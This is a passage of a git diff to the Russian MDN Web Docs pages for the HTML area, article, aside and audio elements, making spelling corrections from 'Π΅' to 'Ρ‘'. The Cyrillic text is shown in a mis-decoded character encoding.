- <dd>Π—Π°Π΄Π°Π΅Ρ‚ значСния ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ для Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ области. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ зависят ΠΎΡ‚ значСния указанного для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <strong>shape</strong>. Для <code>rect</code>Β ΠΈΠ»ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π·Π°Π΄Π°ΡŽΡ‚ΡΡ Π΄Π²Π΅ ΠΏΠ°Ρ€Ρ‹Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ x,yΒ <strong>coords</strong>: Π»Π΅Π²ΠΎ, Π²Π΅Ρ€Ρ…, ΠΏΡ€Π°Π²ΠΎ ΠΈ Π½ΠΈΠ·. Для <code>circle</code>, значСния <code>x,y,r</code> Π³Π΄Π΅Β <code>x,y</code> ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Ρ†Π΅Π½Ρ‚Ρ€Π° ΠΊΡ€ΡƒΠ³Π°, Π°Β <code>r</code> радиус. Для <code>poly</code>Β ΠΈΠ»ΠΈΒ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, значСния Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠ°Ρ€ΠΎΠΉΒ x ΠΈ y для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°: <code>x1,y1,x2,y2,x3,y3,</code> ΠΈ Ρ‚.Π΄. Π’Β HTML4 значСния Π·Π°Π΄Π°ΡŽΡ‚ΡΡ Π² пиксСлях ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π·Π½Π°ΠΊΒ (%); Π²Β HTML5, значСния β€” Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ Π² пиксСлях.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ значСния ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ для Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ области. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ количСство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ зависят ΠΎΡ‚ значСния указанного для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <strong>shape</strong>. Для <code>rect</code>Β ΠΈΠ»ΠΈ ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° Π·Π°Π΄Π°ΡŽΡ‚ΡΡ Π΄Π²Π΅ ΠΏΠ°Ρ€Ρ‹Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ x,yΒ <strong>coords</strong>: Π»Π΅Π²ΠΎ, Π²Π΅Ρ€Ρ…, ΠΏΡ€Π°Π²ΠΎ ΠΈ Π½ΠΈΠ·. Для <code>circle</code>, значСния <code>x,y,r</code> Π³Π΄Π΅Β <code>x,y</code> ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Ρ†Π΅Π½Ρ‚Ρ€Π° ΠΊΡ€ΡƒΠ³Π°, Π°Β <code>r</code> радиус. Для <code>poly</code>Β ΠΈΠ»ΠΈΒ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, значСния Π·Π°Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠ°Ρ€ΠΎΠΉΒ x ΠΈ y для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΌΠ½ΠΎΠ³ΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°: <code>x1,y1,x2,y2,x3,y3,</code> ΠΈ Ρ‚.Π΄. Π’Β HTML4 значСния Π·Π°Π΄Π°ΡŽΡ‚ΡΡ Π² пиксСлях ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π°Ρ…, ΠΊΠΎΠ³Π΄Π° Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π·Π½Π°ΠΊΒ (%); Π²Β HTML5, значСния β€” Π²Π΅Π»ΠΈΡ‡ΠΈΠ½Ρ‹ Π² пиксСлях.</dd>
<dt>{{htmlattrdef("download")}} {{HTMLVersionInline("5")}}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, Ссли ΠΎΠ½ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ссылка ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для скачивания файла. Π‘ΠΌΠΎΡ‚Ρ€ΠΈ {{HTMLElement("a")}} для ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ описания Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("download", "a")}}.</dd>
</dl>
diff --git a/files/ru/web/html/element/article/index.html b/files/ru/web/html/element/article/index.html
index 88bb5e5a48..b77f6dec57 100644
--- a/files/ru/web/html/element/article/index.html
+++ b/files/ru/web/html/element/article/index.html
@@ -29,7 +29,7 @@ translation_of: Web/HTML/Element/article
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π‘Π΅ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">сСкционный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>.</td>
</tr>
<tr>
@@ -37,11 +37,11 @@ translation_of: Web/HTML/Element/article
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a> Π² качСствС содСрТимого. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;article&gt;</code> Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{HTMLElement("address")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("main")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}</td>
</tr>
<tr>
@@ -58,7 +58,7 @@ translation_of: Web/HTML/Element/article
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
<ul>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;article&gt;</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ добавлСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (элСмСнты <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code></a>) Π² качСствС Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта.</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;article&gt;</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (элСмСнты <a href="/ru/docs/Web/HTML/Element/Heading_Elements"><code>&lt;h1&gt;</code>-<code>&lt;h6&gt;</code></a>) Π² качСствС Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта.</li>
<li>Когда элСмСнт <code>&lt;article&gt;</code> являСтся Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌ, Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΉ элСмСнт прСдставляСт собой ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ связанный с внСшним элСмСнтом. НапримСр, ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΊ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² Π±Π»ΠΎΠ³Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ элСмСнтами <code>&lt;article&gt;</code>, Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ <code>&lt;article&gt;</code>, ΡΠ²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠ΅ΠΉ Π² Π±Π»ΠΎΠ³Π΅.</li>
<li>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎΠ± Π°Π²Ρ‚ΠΎΡ€Π΅ Π² элСмСнтС <code>&lt;article&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСна Ρ‡Π΅Ρ€Π΅Π· элСмСнт {{HTMLElement("address")}}, Π½ΠΎ это Π½Π΅ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΠΎ ΠΊ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹ΠΌ элСмСнтам <code>&lt;article&gt;</code>.</li>
<li>Π”Π°Ρ‚Π° ΠΈ врСмя ΠΏΡƒΠ±Π»ΠΈΠΊΠ°Ρ†ΠΈΠΈ Π² элСмСнтС <code>&lt;article&gt;</code> ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ описаны с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("datetime", "time")}} элСмСнта {{HTMLElement("time")}}. <em>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("pubdate", "time")}} элСмСнта {{HTMLElement("time")}} большС Π½Π΅ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ стандарта {{glossary("W3C")}} {{glossary("HTML5")}}.</em></li>
diff --git a/files/ru/web/html/element/aside/index.html b/files/ru/web/html/element/aside/index.html
index 20c210ff79..02cc80bdeb 100644
--- a/files/ru/web/html/element/aside/index.html
+++ b/files/ru/web/html/element/aside/index.html
@@ -15,7 +15,7 @@ translation_of: Web/HTML/Element/aside
---
<div>{{HTMLRef}}</div>
-<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;aside&gt;</code></strong> прСдставляСт собой Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‡ΡŒΠ΅ содСрТимоС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ косвСнно связанно с основным содСрТимым Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</span> Π§Π°Ρ‰Π΅ всСго прСдставлСн Π² Π²ΠΈΠ΄Π΅ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, сносок ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠΊ.</p>
+<p><span class="seoSummary"><strong>HTML-элСмСнт <code>&lt;aside&gt;</code></strong> прСдставляСт собой Ρ‡Π°ΡΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Ρ‡ΡŒΡ‘ содСрТимоС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ косвСнно связанно с основным содСрТимым Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</span> Π§Π°Ρ‰Π΅ всСго прСдставлСн Π² Π²ΠΈΠ΄Π΅ Π±ΠΎΠΊΠΎΠ²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ, сносок ΠΈΠ»ΠΈ ΠΌΠ΅Ρ‚ΠΎΠΊ.</p>
<div>{{EmbedInteractiveExample("pages/tabbed/aside.html", "tabbed-standard")}}</div>
@@ -28,7 +28,7 @@ translation_of: Web/HTML/Element/aside
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π‘Π΅ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">сСкционный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>.</td>
</tr>
<tr>
@@ -36,11 +36,11 @@ translation_of: Web/HTML/Element/aside
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a> Π² качСствС содСрТимого. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;aside&gt;</code> Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{HTMLElement("address")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>{{ARIARole("feed")}}, {{ARIARole("note")}}, {{ARIARole("presentation")}}, {{ARIARole("region")}}, {{ARIARole("search")}}</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/audio/index.html b/files/ru/web/html/element/audio/index.html
index aae3df398d..b9ab8f0521 100644
--- a/files/ru/web/html/element/audio/index.html
+++ b/files/ru/web/html/element/audio/index.html
@@ -27,7 +27,7 @@ translation_of: Web/HTML/Element/audio
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ простоС использованиС элСмСнта <code>&lt;audio&gt;</code>. По Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ с элСмСнтом {{htmlelement("img")}} ΠΌΡ‹ добавляСм ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ, Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ свСдСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ автовоспроизвСдСниС ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€, Ρ…ΠΎΡ‚ΠΈΠΌ Π»ΠΈ ΠΌΡ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ стандартныС элСмСнты управлСния Π·Π²ΡƒΠΊΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Ρ‚.Π΄.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ простоС использованиС элСмСнта <code>&lt;audio&gt;</code>. По Π°Π½Π°Π»ΠΎΠ³ΠΈΠΈ с элСмСнтом {{htmlelement("img")}} ΠΌΡ‹ добавляСм ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ, Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>src</code>. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ свСдСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ автовоспроизвСдСниС ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€, Ρ…ΠΎΡ‚ΠΈΠΌ Π»ΠΈ ΠΌΡ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ стандартныС элСмСнты управлСния Π·Π²ΡƒΠΊΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Ρ‚.Π΄.</p>
<p>ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ Ρ‚Π΅Π³Π°ΠΌΠΈ элСмСнта <code>&lt;audio&gt;</code> (Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅) отобраТаСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ этот элСмСнт.</p>
@@ -57,8 +57,8 @@ translation_of: Web/HTML/Element/audio
<dl>
<dt>{{htmlattrdef("autoplay")}}</dt>
- <dd>Атрибут логичСского Ρ‚ΠΈΠΏΠ°. Если ΠΎΠ½ ΡƒΠΊΠ°Π·Π°Π½, Π°ΡƒΠ΄ΠΈΠΎ Π½Π°Ρ‡Π½Π΅Ρ‚ автоматичСски Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ смоТСт это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½Π΅ доТидаясь Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСго Ρ„Π°ΠΉΠ»Π°.
- <div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π‘Π°ΠΉΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ автоматичСски ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°ΡŽΡ‚ Π°ΡƒΠ΄ΠΈΠΎ (ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ с Π°ΡƒΠ΄ΠΈΠΎΠ΄ΠΎΡ€ΠΎΠΆΠΊΠΎΠΉ) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ нСприятными для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, поэтому этого слСдуСт ΠΏΠΎ возмоТности ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ. Если Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ автовоспроизвСдСния, Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π΅ Opt-in (Π²ΠΈΠ΄ подписки), Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ (сам) Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ» Π΅Π΅. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, это ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ, ΠΏΡ€ΠΈ создании элСмСнтов ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, Ρ‡Π΅ΠΉ источник Π±ΡƒΠ΄Π΅Ρ‚ установлСн ΠΏΠΎΠ·Π΄Π½Π΅Π΅ ΠΏΠΎΠ΄ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</div>
+ <dd>Атрибут логичСского Ρ‚ΠΈΠΏΠ°. Если ΠΎΠ½ ΡƒΠΊΠ°Π·Π°Π½, Π°ΡƒΠ΄ΠΈΠΎ Π½Π°Ρ‡Π½Ρ‘Ρ‚ автоматичСски Π²ΠΎΡΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ смоТСт это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Π½Π΅ доТидаясь Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСго Ρ„Π°ΠΉΠ»Π°.
